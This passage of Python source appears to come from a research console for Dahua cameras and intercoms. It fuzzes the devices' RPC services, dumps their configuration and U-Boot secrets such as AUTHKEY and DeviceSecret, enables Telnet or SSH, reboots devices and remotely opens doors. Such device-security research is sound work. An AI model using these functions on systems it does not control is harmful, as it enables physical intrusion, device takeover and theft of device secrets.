self.send_call(query_tmp, multicall=True)
else:
tmp.update({
cmd[1] if not cmd[1] == 'all'
else self.RemoteServicesCache.get('params').get('service')[count]:
self.RemoteMethodsCache.get(
cmd[1] if not cmd[1] == 'all'
else self.RemoteServicesCache.get('params').get('service')[count])
})
if not self.args.dump:
service.status('{} of {}'.format(
count+1, len(self.RemoteServicesCache.get('params').get('service'))))
if not cmd[1] == 'all':
break
dh_data = self.send_call(None, multicall=True, multicallsend=True)
# print('[list_service]', dh_data)
if dh_data is None:
cache = tmp
elif dh_data is not None:
for method_name in copy.deepcopy(dh_data):
service.status(method_name)
if not dh_data.get(method_name).get('result'):
log.failure("[listService] Failure to fetch: {}".format(method_name.split('.')[0]))
continue
dh_data.get(method_name).pop('result')
dh_data.get(method_name).pop('id')
"""SessionID bug: 'method': 'snapManager.listMethod'"""
if dh_data.get(method_name).get('session'):
dh_data.get(method_name).pop('session')
"""if dh_data.get(method_name).get('session') else log.failure(
"[listService] SessionID BUG ({})".format(method_name.split('.')[0]))"""
cache.update({method_name.split('.')[0]: dh_data.get(method_name)})
self.RemoteMethodsCache.update(cache)
if len(tmp):
cache.update(tmp)
if not self.args.dump:
service.success('Done')
if fuzz:
return self.RemoteMethodsCache
if len(cmd) == 4 and cmd[2] == 'save':
if len(cache):
return self.save_to_file(file_name=cmd[3], dh_data=cache)
log.failure('[listService] (save) Empty')
if not len(cmd) == 1:
if len(cache):
print(json.dumps(cache, indent=4))
else:
log.failure('[listService] (cache) Empty')
return True
else:
log.failure("[listService] {}".format(self.RemoteServicesCache))
return False
#
# Used by 'list_service()' and 'config_members()' to save result to file
#
def save_to_file(self, file_name, dh_data):
if not self.args.force:
path = Path(file_name)
if path.exists():
log.failure("[saveToFile] File {} exist (force with -f at startup)".format(file_name))
return False
try:
with open(file_name, 'w') as fd:
fd.write(json.dumps(dh_data))
log.success("[saveToFile] Saved to: {}".format(file_name))
except IOError as e:
log.failure("[saveToFile] Save {} fail: {}".format(file_name, e))
return False
return True
def help_service(self, msg):
""" In principal useless function, as the only API help seems to cover 'system' only """
cmd = msg.split()
dh_services = self.list_service(msg='service ' + cmd[0], fuzz=True)
for key in dh_services.keys():
for method in dh_services.get(key).get('params').get('method'):
query_args = {
"method": "system.methodHelp",
"params": {
"method_name": method,
},
}
dh_data = self.send_call(query_args)
query_args = {
"method": "system.methodSignature",
"params": {
"method_name": method,
},
}
dh_data2 = self.send_call(query_args)
if not dh_data and not dh_data2:
continue
log.info("Method: {:30}Params: {:20}Description: {}".format(
method,
dh_data2.get('params').get('signature', '(null)'),
dh_data.get('params').get('description', '(null)')
))
def reboot(self, delay=1):
""" 'Hard reboot' of remote device """
query_args = {
"method": "magicBox.reboot",
"params": {
"delay": delay
},
}
dh_data = self.send_call(query_args)
if dh_data.get('result'):
log.success("Trying to force reboot")
else:
log.warning("Trying to force reboot")
self.socket_event.set()
self.logout()
def logout(self):
""" Try graceful logout """
if not self.remote.connected():
log.failure('[logout] Not connected, cannot exit clean')
return False
""" Will exit the instance by check daemon thread """
if self.terminate and self.remote.connected():
self.remote.close()
if self.relay:
self.relay.close()
return False
"""keepAlive failed or terminate
Clean up before we quit, if needed (and can do so)
"""
if not self.event.is_set():
self.cleanup()
""" Stop console (and possible others) """
self.instance_service(clean=True)
query_args = {
"method": "global.logout",
"params": None,
}
dh_data = self.send_call(query_args)
if not dh_data:
log.failure("[logout] global.logout: {}".format(dh_data))
self.remote.close()
if self.relay:
self.relay.close()
return False
if dh_data.get('result'):
log.success("Logout")
self.remote.close()
if self.relay:
self.relay.close()
return True
def config_members(self, msg):
cmd = msg.split()
usage = {
"members": "(show config members)",
"all": "(dump all remote config)",
"<member>": "(dump config for <member>)",
"[<member>|<all>]": "[save <filename>] (Save JSON to <filename>)",
"": "(Use 'ceconfig' in Console to set/get)",
}
if len(cmd) == 1 or cmd[1] == '-h':
log.info('{}'.format(help_all(msg=msg, usage=usage)))
return False
if cmd[1] == 'members':
query_args = {
"method": "configManager.getMemberNames",
"params": {
"name": "",
},
}
else:
if cmd[1] == 'all':
cmd[1] = 'All'
query_args = {
"method": "configManager.getConfig",
"params": {
"name": cmd[1],
},
}
dh_data = self.send_call(query_args, errorcodes=True)
if not dh_data or not dh_data.get('result'):
log.failure('[config_members] Error: {}'.format(dh_data.get('error') if dh_data else False))
return False
dh_data.pop('id')
dh_data.pop('session')
dh_data.pop('result')
if len(cmd) == 4 and cmd[2] == 'save':
return self.save_to_file(file_name=cmd[3], dh_data=dh_data)
print(json.dumps(dh_data, indent=4))
return
def open_door(self, msg):
""" VTO specific functions (not complete) """
cmd = msg.split()
usage = {
"<n>": {
"open": "(open door <n>)",
"close": "(close door <n>)",
"status": "(status door <n>)",
"finger": "(<Undefined>)",
"password": "(<Undefined>)",
"lift": "(<Undefined> Not working)",
"face": "(<Undefined> Not working)",
}
}
if len(cmd) != 3 or cmd[1] == '-h':
log.info('{}'.format(help_all(msg=msg, usage=usage)))
return True
method_name = 'accessControl'
try:
door = int(cmd[1])
except ValueError:
log.failure("[open_door] Invalid door number {}".format(cmd[1]))
self.instance_service(method_name, stop=True)
return False
self.instance_service(method_name, params={"channel": door}, start=True)
object_id = self.instance_service(method_name, pull='object')
if not object_id:
return False
if cmd[2] == 'open':
query_args = {
"method": "accessControl.openDoor",
"params": {
"DoorIndex": door,
"ShortNumber": "9901#0",
"Type": "Remote",
"OpenDoorType": "Remote",
# "OpenDoorType": "Dahua",
# "OpenDoorType": "Local",
"UserID": "",
},
"object": object_id,
}
dh_data = self.send_call(query_args)
print(query_args)
print(dh_data)
if not dh_data:
return
log.info("door: {} {}".format(door, "Success" if dh_data.get('result') else "Failure"))
elif cmd[2] == 'close':
query_args = {
"method": "accessControl.closeDoor", # {"id":21,"result":true,"session":2147483452}
"params": {
# "Type": "Remote",
# "UserID":"",
},
"object": object_id,
}
# print(query_args)
dh_data = self.send_call(query_args)
print(query_args)
print(dh_data)
elif cmd[2] == 'status': # Seems always to return "Status Close"
"""{"id":8,"params":{"Info":{"status":"Close"}},"result":true,"session":2147483499}"""
query_args = {
"method": "accessControl.getDoorStatus",
"params": {
"DoorState": door,
# "ShortNumber": "9901#0",
# "Type": "Remote",
},
"object": object_id,
}
dh_data = self.send_call(query_args)
print(query_args)
print(dh_data)
elif cmd[2] == 'finger':
query_args = {
"method": "accessControl.captureFingerprint", # working
"params": {
},
"object": object_id,
}
dh_data = self.send_call(query_args)
print(query_args)
print(dh_data)
elif cmd[2] == 'lift':
query_args = {
"method": "accessControl.callLift", # Not working
"params": {
"Src": 1,
"DestFloor": 3,
"CallLiftCmd": "",
"CallLiftAction": "",
},
"object": object_id,
}
dh_data = self.send_call(query_args)
print(query_args)
print(dh_data)
elif cmd[2] == 'password':
query_args = {
"method": "accessControl.modifyPassword", # working
"params": {
"type": "",
"user": "",
"oldPassword": "",
"newPassword": "",
},
"object": object_id,
}
dh_data = self.send_call(query_args)
print(query_args)
print(dh_data)
elif cmd[2] == 'face':
query_args = {
"method": "accessControl.openDoorFace", # Not working
"params": {
"Status": "",
"MatchInfo": "",
"ImageInfo": "",
},
"object": object_id,
}
dh_data = self.send_call(query_args)
print(query_args)
print(dh_data)
self.instance_service(method_name, stop=True)
return
def telnetd_sshd(self, msg):
cmd = msg.split()
service = None
if cmd[0] == 'telnet':
service = 'Telnet'
elif cmd[0] == 'sshd':
service = 'SSHD'
usage = {
"1": "(enable)",
"0": "(disable)",
}
if len(cmd) == 1 or cmd[1] == '-h':
log.info('{}'.format(help_all(msg=msg, usage=usage)))
return True
if cmd[1] == '1':
enable = True
elif cmd[1] == '0':
enable = False
else:
log.info('{}'.format(help_all(msg=msg, usage=usage)))
return False
query_args = {
"method": "configManager.getConfig",
"params": {
"name": service,
},
}
dh_data = self.send_call(query_args)
if not dh_data:
return
if dh_data.get('result'):
if dh_data['params']['table']['Enable'] == enable:
log.failure("{} already: {}".format(cmd[0], "Enabled" if enable else "Disabled"))
return
else:
log.failure("Failure: {}".format(dh_data))
return
dh_data['method'] = "configManager.setConfig"
dh_data['params']['table']['Enable'] = enable
dh_data['params']['name'] = service
dh_data['id'] = self.ID
dh_data.pop('result')
dh_data = self.send_call(dh_data, errorcodes=True)
if dh_data.get('result'):
log.success("{}: {}".format(cmd[0], "Enabled" if enable else "Disabled"))
else:
log.failure("Failure: {}".format(dh_data))
return
@staticmethod
def method_banned(msg):
banned = [
"system.listService",
"magicBox.exit",
"magicBox.restart",
"magicBox.shutdown",
"magicBox.reboot",
"magicBox.resetSystem",
"magicBox.config"
"global.login",
"global.logout",
"global.keepAlive",
"global.setCurrentTime",
"DockUser.addUser",
"DockUser.modifyPassword",
"configManager.detach",
"configManager.exportPackConfig", # Exporting config in encrypted TGZ
"configManager.secGetDefault",
"userManager.deleteGroup",
"userManager.setDefault", # will erase all users
"PhotoStation.savePhotoDesign",
"configManager.getMemberNames",
"PerformanceMonitoring.factory.instance", # generates client.notifyPerformanceInfo() callback
"PerformanceMonitoring.attach" # generates client.notifyPerformanceInfo() callback
]
try:
banned.index(msg)
dh_data = help_msg('Banned Match')
dh_data += '{}\n'.format(msg)
log.info(dh_data)
# print('Banned Match: {}'.format(msg))
return True
except ValueError as e:
print(repr(e))
return False
def fuzz_service(self, msg):
""" Under development """
cmd = msg.split()
params = None
usage = {
"check": {
"<service>": "(method for <service>)",
"all": "(all remote services methods)",
},
"factory": "(fuzz factory)"
}
if not len(cmd) >= 2 or cmd[1] == '-h':
log.info('{}'.format(help_all(msg=msg, usage=usage)))
return True
fuzz_result = {}
"""
Code = [
268894211, # Request invalid param!
268959743, # Unknown error! error code was not set in service!
268632080, # pthread error
285278247, # ? - with magicBox.resetSystem
268894208, # Request parse error!
268894212, # Server internal error!
268894209, # get component pointer failed or invalid request! (.object needed!)
]
"""
#
# TODO: Can be more than one in one call
#
dparams = [
"",
"channel", # 0 should always be availible
"pointer",
"name",
"codes",
"service",
"group",
"stream",
"uuid",
"UUID",
"object",
"interval", # PerformanceMonitoring.attach
"composite",
"path",
"DeviceID",
"points",
"Channel",
]
attach_options = [
# {"type":"FormatPatition"},
"Network", # configMember
["All"], # eventManager
0, # for channel.. etc
1,
# "DeviceID1",
"none",
# "xxxxxx",
"System_CONFIG_NETCAMERA_INFO_0", # uuid
"System_CONFIG_NETCAMERA_INFO_", # uuid
["System_CONFIG_NETCAMERA_INFO_0"], # uuid
["System_CONFIG_NETCAMERA_INFO_"], # uuid
"/mnt/sd",
"/dev/mmc0",
"/",
# ["Record FTP"],
# ["Image FTP"],
# ["FTP1"],
# ["ISCSI1"],
# ["NFS1"],
# ["SMB1"],
# ["SFTP1"],
# ["SFTP"],
# ["StorageGroup"],
# ["NAS"],
# ["Remote"],
# ["ReadWrite"],
]
try: # [Main TRY]
if len(cmd) == 3 and cmd[1] == 'check':
check = log.progress('Check')
check.status('Start')
dh_services = self.list_service(msg='service ' + cmd[2], fuzz=True)
for key in dh_services.keys():
check.status(key)
method_name = dh_services.get(key).get('params').get('method')
self.fuzzServiceDB.update({key: {
}})
try:
method_name.index(key + '.factory.instance')
self.fuzzServiceDB.get(key).update({"factory": True})
method_name.index(key + '.attach')
self.fuzzServiceDB.get(key).update({"attach": True})
except ValueError as e:
_error = str(e).split("'")[1]
try:
if _error == key + '.factory.instance':
self.fuzzServiceDB.get(key).update({"factory": False})
elif _error == key + '.attach':
self.fuzzServiceDB.get(key).update({"attach": False})
method_name.index(key + '.attach')
self.fuzzServiceDB.get(key).update({"attach": True})
except ValueError:
self.fuzzServiceDB.get(key).update({"attach": False})
pass
self.fuzz_factory = []
self.Attach = []
self.attach_only = []
for key in dh_services.keys():
if not self.fuzzServiceDB.get(key).get('factory') and not self.fuzzServiceDB.get(key).get('attach'):
if self.fuzzServiceDB.get(key):
self.fuzzServiceDB.pop(key)
continue
elif self.method_banned(key + '.factory.instance'):
if self.fuzzServiceDB.get(key):
self.fuzzServiceDB.pop(key)
continue
elif self.method_banned(key + '.attach'):
if self.fuzzServiceDB.get(key):
self.fuzzServiceDB.pop(key)
continue
if self.fuzzServiceDB.get(key).get('factory'):
self.fuzz_factory.append(key)
if self.fuzzServiceDB.get(key).get('factory') and self.fuzzServiceDB.get(key).get('attach'):
self.Attach.append(key)
if not self.fuzzServiceDB.get(key).get('factory') and self.fuzzServiceDB.get(key).get('attach'):
self.attach_only.append(key)
check.success(
'Factory: {}, Attach: {}, attach_only: {}\n'.format(
len(self.fuzz_factory), len(self.Attach), len(self.attach_only)))
dh_data = '{}'.format(help_msg('Summary'))
dh_data += '{}{}\n'.format(help_msg('Factory'), ', '.join(self.fuzz_factory))
dh_data += '{}{}\n'.format(help_msg('Attach'), ', '.join(self.Attach))
dh_data += '{}{}\n'.format(help_msg('attach_only'), ', '.join(self.attach_only))
log.success(dh_data)
return
elif len(cmd) >= 2 and cmd[1] == 'factory':
try:
if not len(self.fuzz_factory):
log.failure('Factory is Empty')
return False
except AttributeError:
log.failure('Firstly run {} check'.format(cmd[0]))
return False
fuzz_factory = []
if len(cmd) == 2:
fuzz_factory = self.fuzz_factory
elif len(cmd) == 3:
if cmd[2] in self.fuzz_factory:
fuzz_factory.append(cmd[2])
else:
log.failure('"{}" do not exist in factory'.format(cmd[2]))
return False
for method_name in fuzz_factory:
fuzz = log.progress(method_name)
if method_name in self.Attach:
object_id = self.instance_service(method_name, pull='object')
if not object_id:
fuzz.status(color('Working...', YELLOW))
self.instance_service(method_name, dattach=True, start=True, fuzz=True)
object_id = self.instance_service(method_name, pull='object')
if object_id:
fuzz.success(color(str(self.instance_service(method_name, pull='object')), GREEN))
fuzz_result.update(
{method_name: {
"available": True, "params": self.instance_service(method_name, pull='params'),
"attach_params": self.instance_service(method_name, pull='attach_params')
}})
if not object_id:
for key in dparams:
for doptions in attach_options:
params = {key: doptions}
self.instance_service(
method_name, dattach=True, params=params, attach_params=params,
start=True, fuzz=True, multicall=True, multicallsend=False)
self.instance_service(
method_name, dattach=True, attach_params=params, start=True, fuzz=True,
multicall=True, multicallsend=True)
object_id = self.instance_service(method_name, pull='object')
if object_id:
fuzz.success(color(str(self.instance_service(method_name, pull='object')), GREEN))
fuzz_result.update(
{method_name: {
"available": True, "params": self.instance_service(method_name, pull='params'),
"attach_params": self.instance_service(method_name, pull='attach_params')
}})
continue
if not object_id:
fuzz_error = self.fuzzDB.get(method_name).get('sid').get('error')
fuzz.failure(color(json.dumps(fuzz_error), RED))
fuzz_result.update(
{method_name: {
"available": False, "code": fuzz_error.get('code'),
"message": fuzz_error.get('message')}}
)
else:
object_id = self.instance_service(method_name, pull='object')
if not object_id:
fuzz.status(color('Working...', YELLOW))
self.instance_service(method_name, dattach=False, start=True, fuzz=True)
object_id = self.instance_service(method_name, pull='object')
if object_id:
fuzz.success(color(str(self.instance_service(method_name, pull='object')), GREEN))
fuzz_result.update(
{method_name: {
"available": True, "params": self.instance_service(method_name, pull='params'),
"attach_params": self.instance_service(method_name, pull='attach_params')
}})
if not object_id:
for key in dparams:
for doptions in attach_options:
params = {key: doptions}
self.instance_service(
method_name, dattach=False, params=params, start=True, fuzz=True,
multicall=True, multicallsend=False)
self.instance_service(
method_name, dattach=False, start=True, fuzz=True, multicall=True, multicallsend=True)
object_id = self.instance_service(method_name, pull='object')
if object_id:
fuzz.success(color(str(self.instance_service(method_name, pull='object')), GREEN))
fuzz_result.update(
{method_name: {
"available": True, "params": self.instance_service(method_name, pull='params'),
"attach_params": self.instance_service(method_name, pull='attach_params')
}})
continue
if not object_id:
fuzz_error = self.fuzzDB.get(method_name).get('sid').get('error')
fuzz.failure(color(json.dumps(fuzz_error), RED))
fuzz_result.update(
{method_name: {
"available": False, "code": fuzz_error.get('code'),
"message": fuzz_error.get('message')}}
)
self.instance_service(method_name="", list_all=True)
# print(json.dumps(fuzz_result,indent=4))
# print(json.dumps(self.fuzzDB,indent=4))
# self.fuzzServiceDB = {} # Reset
return
else:
log.failure('No such command "{}"'.format(msg))
except KeyboardInterrupt: # [Main TRY]
return False
return
def dev_storage(self):
query_args = {
"method": "storage.getDeviceAllInfo",
"params": None,
}
dh_data = self.send_call(query_args)
if not dh_data:
log.failure("\033[92m[\033[91mStorage: Device not found\033[92m]\033[0m")
return
if dh_data.get('result'):
device_name = dh_data.get('params').get('info')[0].get('Name')
method_name = 'devStorage'
self.instance_service(method_name, params={"name": device_name}, start=True)
object_id = self.instance_service(method_name, pull='object')
if not object_id:
return False
query_args = {
"method": "devStorage.getDeviceInfo",
"params": None,
"object": object_id,
}
dh_data = self.send_call(query_args)
if not dh_data:
if dh_data.get('result'):
dh_data = dh_data.get('params').get('device') # [storage]
log.success("\033[92m[\033[91mStorage: \033[94m{}\033[91m\033[92m]\033[0m\n".format(
dh_data.get('Name', '(null)')))
log.info("Capacity: {}, Media: {}, Bus: {}, State: {}".format(
size(dh_data.get('Capacity', '(null)')),
dh_data.get('Media', '(null)'),
dh_data.get('BUS', '(null)'),
dh_data.get('State', '(null)'),
))
log.info("Model: {}, SerialNo: {}, Firmware: {}".format(
dh_data.get(
'Module', '(null)') if self.DeviceClass == "NVR" else dh_data.get('Model', '(null)'),
dh_data.get(
'SerialNo', '(null)')if self.DeviceClass == "NVR" else dh_data.get('Sn', '(null)'),
dh_data.get('Firmware', '(null)'),
))
for part in range(0, len(dh_data.get('Partitions'))):
tmp = dh_data.get('Partitions')[part]
log.info("{}, FileSystem: {}, Size: {}, Free: {}".format(
tmp.get('Name', '(null)'),
tmp.get('FileSystem', '(null)'),
size(tmp.get('Total', 0), si=True),
size(tmp.get('Remain', 0), si=True),
))
self.instance_service(method_name, stop=True)
def get_encrypt_info(self):
query_args = {
"method": "Security.getEncryptInfo",
"params": None,
}
dh_data = self.send_call(query_args)
if not dh_data:
log.failure("\033[92m[\033[91mEncrypt Info: Fail\033[92m]\033[0m")
return
if dh_data.get('result'):
pub = dh_data.get('params').get('pub').split(",")
log.success(
"\033[92m[\033[91mEncrypt Info\033[92m]\033[0m\nAsymmetric:"
" {}, Cipher: {}, Padding: {}, RSA Exp.: {}\nRSA Modulus:\n{}".format(
dh_data.get('params').get('asymmetric'),
'; '.join(dh_data.get('params').get('cipher', ["(null)"])),
'; '.join(dh_data.get('params').get('AESPadding', ["(null)"])),
pub[1].split(":")[1],
pub[0].split(":")[1],
))
pubkey = RSA.construct((int(pub[0].split(":")[1], 16), int(pub[1].split(":")[1], 16)))
print(pubkey.exportKey().decode('ascii'))
def get_remote_info(self, msg):
cmd = msg.split()
if cmd[0] == 'device':
query_args = {
"method": "magicBox.getSoftwareVersion",
"params": None,
}
self.send_call(query_args, multicall=True)
query_args = {
"method": "magicBox.getProductDefinition",
"params": None,
}
self.send_call(query_args, multicall=True)
query_args = {
"method": "magicBox.getSystemInfo",
"params": None,
}
self.send_call(query_args, multicall=True)
query_args = {
"method": "magicBox.getMemoryInfo",
"params": None,
}
dh_data = self.send_call(query_args, multicall=True, multicallsend=True)
if not dh_data:
return
if dh_data.get(
'magicBox.getSoftwareVersion').get('result') and dh_data.get(
'magicBox.getProductDefinition').get('result'):
tmp = dh_data.get('magicBox.getProductDefinition').get('params').get('definition')
log.success(
"\033[92m[\033[91mSystem\033[92m]\033[0m\nVendor: {}, Build: {}, Version: {}\n"
"Device: {}, Web: {}, OEM: {}\nPackage: {}".format(
tmp.get('Vendor', '(null)'),
tmp.get('BuildDateTime', '(null)'),
dh_data.get(
'magicBox.getSoftwareVersion').get('params').get('version').get('Version', '(null)'),
tmp.get('Device', '(null)'),
tmp.get('WebVersion', '(null)'),
tmp.get('OEMVersion', '(null)'),
tmp.get('PackageBaseName', '(null)')
if tmp.get('PackageBaseName')
else tmp.get('ProductName', '(null)'),
))
if dh_data.get('magicBox.getSystemInfo').get('result'):
tmp = dh_data.get('magicBox.getSystemInfo').get('params')
log.success("\033[92m[\033[91mDevice\033[92m]\033[0m\nType: {}, CPU: {}, HW ver: {}, S/N: {}".format(
tmp.get('deviceType', '(null)'),
tmp.get('processor', '(null)'),
tmp.get('hardwareVersion', '(null)'),
tmp.get('serialNumber', '(null)'),
))
if dh_data.get('magicBox.getMemoryInfo').get('result'):
tmp = dh_data.get('magicBox.getMemoryInfo').get('params')
log.success("\033[92m[\033[91mMemory\033[92m]\033[0m\nTotal: {}, Free: {}".format(
size(tmp.get('total', 0)),
size(tmp.get('free', 0))
))
self.dev_storage()
self.get_encrypt_info()
elif cmd[0] == 'certificate':
query_args = {
"method": "CertManager.exportRootCert",
"params": None,
}
self.send_call(query_args, multicall=True)
query_args = {
"method": "CertManager.getSvrCertInfo",
"params": None,
}
dh_data = self.send_call(query_args, multicall=True, multicallsend=True)
if not dh_data:
return
if dh_data.get('CertManager.exportRootCert').get('result'):
ca_cert = base64.decodebytes(
dh_data.get('CertManager.exportRootCert').get('params').get('cert').encode('latin-1')
)
x509 = crypto.load_certificate(crypto.FILETYPE_PEM, ca_cert)
# issuer = x509.get_issuer()
# subject = x509.get_subject()
log.success(
"\033[92m[\033[91mRoot Certificate\033[92m]\033[0m\n"
"\033[92m[\033[91mIssuer\033[92m]\033[0m\n"
"{}\n"
"\033[92m[\033[91mSubject\033[92m]\033[0m\n"
"{}\n"
"{}".format(
str(x509.get_issuer()).split("'")[1],
str(x509.get_subject()).split("'")[1],
ca_cert.decode('latin-1'),
))
log.success(
"\033[92m[\033[91mPublic Key\033[92m]\033[0m\n"
"{}".format(crypto.dump_publickey(crypto.FILETYPE_PEM, x509.get_pubkey()).decode('latin-1')))
print('{:X}'.format(x509.get_pubkey().to_cryptography_key().public_numbers().n))
else:
log.failure(
"\033[92m[\033[91mRoot Certificate\033[92m]\033[0m\n{}".format(
color(dh_data.get('CertManager.exportRootCert').get('error'), LRED)))
return False
if dh_data.get('CertManager.getSvrCertInfo').get('result'):
log.success("\033[92m[\033[91mServer Certificate\033[92m]\033[0m\n{}".format(
json.dumps(dh_data.get('CertManager.getSvrCertInfo'), indent=4),
))
elif cmd[0] == 'dhp2p':
query_args = {
"method": "Nat.getTurnStatus",
"params": None,
}
self.send_call(query_args, multicall=True)
query_args = {
"method": "magicBox.getSystemInfo",
"params": None,
}
self.send_call(query_args, multicall=True)
query_args = {
"method": "configManager.getConfig",
"params": {
"name": "_DHCloudUpgrade_",
},
}
self.send_call(query_args, multicall=True)
query_args = {
"method": "configManager.getConfig",
"params": {
"name": "_DHCloudUpgradeRecord_",
},
}
dh_data = self.send_call(query_args, multicall=True, multicallsend=True)
if not dh_data:
return
if dh_data.get('Nat.getTurnStatus').get('result'):
tmp = dh_data.get('Nat.getTurnStatus').get('params').get('Status')
log.success("\033[92m[\033[91mDH DMSS P2P\033[92m]\033[0m\nEnable: {}, Status: {}, Detail: {}".format(
tmp.get('IsTurnChannel', '(null)'),
tmp.get('Status', '(null)'),
tmp.get('Detail', '(null)'),
))
if dh_data.get('_DHCloudUpgradeRecord_').get('result') or dh_data.get('_DHCloudUpgrade_').get('result'):
tmp = dh_data.get('_DHCloudUpgradeRecord_').get('params').get('table')
tmp2 = dh_data.get('_DHCloudUpgrade_').get('params').get('table')
log.success(
"\033[92m[\033[91mDH Cloud Firmware Upgrade\033[92m]\033[0m\n"
"Address: {}, Port: {}, ProxyAddr: {}, ProxyPort: {}\n"
"AutoCheck: {}, CheckInterval: {}, Upgrade: {}, downloadState: {}\n"
"LastVersion: {},\nLastSubVersion: {}\npackageId: {}".format(
tmp2.get('Address'),
tmp2.get('Port'),
tmp.get('ProxyAddr'),
tmp.get('ProxyPort'),
bool(tmp.get('AutoCheck')),
tmp.get('CheckInterval'),
bool(tmp.get('Upgrade')),
bool(tmp.get('downloadState')),
tmp.get('LastVersion'),
tmp.get('LastSubVersion'),
tmp.get('packageId'),
))
if dh_data.get('magicBox.getSystemInfo').get('result'):
tmp = dh_data.get('magicBox.getSystemInfo').get('params')
log.success(
"\033[92m[\033[91mDH Cloud Firmware ID\033[92m]\033[0m\n"
"Upgrade S/N: {}\n"
"Update S/N: {}".format(
tmp.get('updateSerialCloudUpgrade', '(null)'),
tmp.get('updateSerial', '(null)')
)
)
def delete_config(self, msg):
cmd = msg.split()
if len(cmd) != 2:
log.info('{}'.format(help_all(msg=msg, usage='delete-config member')))
key = cmd[1]
method_name = 'configManager'
self.instance_service(method_name, start=True)
object_id = self.instance_service(method_name, pull='object')
query_args = {
"method": "configManager.deleteConfig",
"params": {
"name": key,
},
"object": object_id,
}
log.info(f"Deleting member {key}")
dh_data = self.send_call(query_args)
if not dh_data:
return
print(json.dumps(dh_data, indent=4))
def new_config(self, msg):
"""
PoC for new non-existing configuration
(instance_service() not really needed here, more as FYI for future)
"""
cmd = msg.split()
usage = {
"show": "(Show config in script)",
"set": "(Set config in device)",
"get": "(Get config from device)",
"del": "(Delete config in device)",
}
if len(cmd) == 1 or len(cmd) == 2 and cmd[1] == '-h':
log.info('{}'.format(help_all(msg=msg, usage=usage)))
return True
method_name = 'configManager'
self.instance_service(method_name, start=True)
object_id = self.instance_service(method_name, pull='object')
if cmd[1] == 'set' or cmd[1] == 'show':
query_args = {
"method": "configManager.setConfig",
"params": {
"table": {
"Config": 31337,
"Enable": False,
"Description": "Just simple PoC",
},
"name": "Config_31337",
},
"object": object_id,
}
if cmd[1] == 'show':
print(json.dumps(query_args, indent=4))
return
log.info("query: {} ".format(query_args))
dh_data = self.send_call(query_args)
if not dh_data:
return
print(json.dumps(dh_data, indent=4))
elif cmd[1] == 'get':
query_args = {
"method": "configManager.getConfig",
"params": {
"name": "Config_31337",
},
"object": object_id,
}
log.info("query: {} ".format(query_args))
dh_data = self.send_call(query_args)
if not dh_data:
return
print(json.dumps(dh_data, indent=4))
elif cmd[1] == 'del':
query_args = {
"method": "configManager.deleteConfig",
"params": {
"name": "Config_31337",
},
"object": object_id,
}
log.info("query: {} ".format(query_args))
dh_data = self.send_call(query_args)
if not dh_data:
return
print(json.dumps(dh_data, indent=4))
else:
log.info('{}'.format(help_all(msg=msg, usage=usage)))
return True
self.instance_service(method_name, stop=True)
return
def set_ldap(self):
""" LDAP test, seems not to be connecting """
method_name = 'configManager'
self.instance_service(method_name, start=True)
object_id = self.instance_service(method_name, pull='object')
if not object_id:
return False
# https://www.forumsys.com/tutorials/integration-how-to/ldap/online-ldap-test-server/
# ldapsearch -h ldap.forumsys.com -w password -D "uid=tesla,dc=example,dc=com" -b "dc=example,dc=com"
query_args = {
"method": "configManager.setConfig",
"params": {
"name": "LDAP",
"table": [
{
"AnonymousBind": False,
"BaseDN": "ou=scientists,dc=example,dc=com",
"BindDN": "uid=tesla,ou=scientists,dc=example,dc=com",
"BindPassword": "password",
"Enable": True,
"Filter": "",
"Port": 389,
"Server": "192.168.5.11",
# "Server": "ldap.forumsys.com",
}
],
},
"object": object_id,
}
dh_data = self.send_call(query_args)
print('LDAP', dh_data)
if not dh_data:
return False
self.instance_service(method_name, stop=True)
return True
def set_debug(self):
# cmd = msg.split()
method_name = 'configManager'
self.instance_service(method_name, start=True)
object_id = self.instance_service(method_name, pull='object')
if not object_id:
return False
query_args = {
"method": "configManager.setConfig",
"params": {
"name": "Debug",
"table": {
"PrintLogLevel": 0,
# "enable":True,
},
},
"object": object_id,
}
dh_data = self.send_call(query_args)
if not dh_data:
return False
log.success("PrintLogLevel 0: {}".format(dh_data.get('result')))
query_args = {
"method": "configManager.setConfig",
"params": {
"name": "Debug",
"table": {
"PrintLogLevel": 6,
# "enable":True,
},
},
"object": object_id,
}
dh_data = self.send_call(query_args)
if not dh_data:
return False
log.success("PrintLogLevel 6: {}".format(dh_data.get('result')))
self.instance_service(method_name, stop=True)
return True
def u_boot(self, msg):
cmd = msg.split()
usage = {
"printenv": "(Get all possible env config)",
"setenv": "<variable> <value> (not working)",
"getenv": "<variable>"
}
if len(cmd) == 1:
log.info('{}'.format(help_all(msg=msg, usage=usage)))
return True
method_name = 'magicBox'
self.instance_service(method_name, start=True)
object_id = self.instance_service(method_name, pull='object')
if not object_id:
return False
if cmd[1] == 'setenv':
if not len(cmd) == 4:
log.info('{}'.format(help_all(msg=msg, usage=usage)))
return True
query_args = {
"method": "magicBox.setEnv",
"params": {
"name": cmd[2],
"value": cmd[3],
# "name":"loglevel",
# "value":"5",
},
"object": object_id,
}
#
# Here we looking for the most common U-Boot enviroment variables, if you miss any, add it to the list here.
#
elif cmd[1] == 'printenv': # OK: IPC/VTH/VTO, NOT: NVR
query_args = {
"method": "magicBox.getBootParameter",
"params": {
"names": [
"algorithm",
"appauto",
"AUTHCODE",
"authcode",
"AUTHKEY",
"autogw",
"autolip",
"autoload",
"autonm",
"autosip",
"baudrate",
"bootargs",
"bootcmd",
"bootdelay",
"bootfile",
"BSN",
"coremnt",
"COUNTRYCODE",
"da",
"da0",
"dc",
"debug",
"devalias",
"DeviceID",
"deviceid",
"DeviceSecret",
"DEVID",
"devname",
"devOEM",
"dh_keyboard",
"dk",
"dl",
"dp",
"dr",
"DspMem",
"du",
"dvname",
"dw",
"encrypbackup",
"eth1addr",
"ethact",
"ethaddr",
"ext1",
"ext2",
"ext3",
"ext4",
"ext5",
"fd",
"fdtaddr",
"fileaddr",
"filesize",
"gatewayip",
"HWID",
"hwidEx",
"HWMEM",
"hxapppwd",
"icrtest",
"icrtype",
"ID",
"intelli",
"ipaddr",
"key",
"licence",
"loglevel",
"logserver",
"MarketArea",
"mcuDebug",
"mcuHWID",
"mdcmdline",
"Mem512M",
"mmc_root",
"mp_autotest",
"nand_root",
"netmask",
"netretry",
"OEI",
"partitions",
"PartitionVer",
"peripheral",
"productDate",
"ProductKey",
"ProductSecret",
"quickstart",
"randomcode",
"restore",
"SC",
"ser_debug",
"serverip",
"setargs_mmc",
"setargs_nand",
"setargs_spinor",
"SHWID",
"Speripheral",
"spinand_root",
"spinor_root",
"stderr",
"stdin",
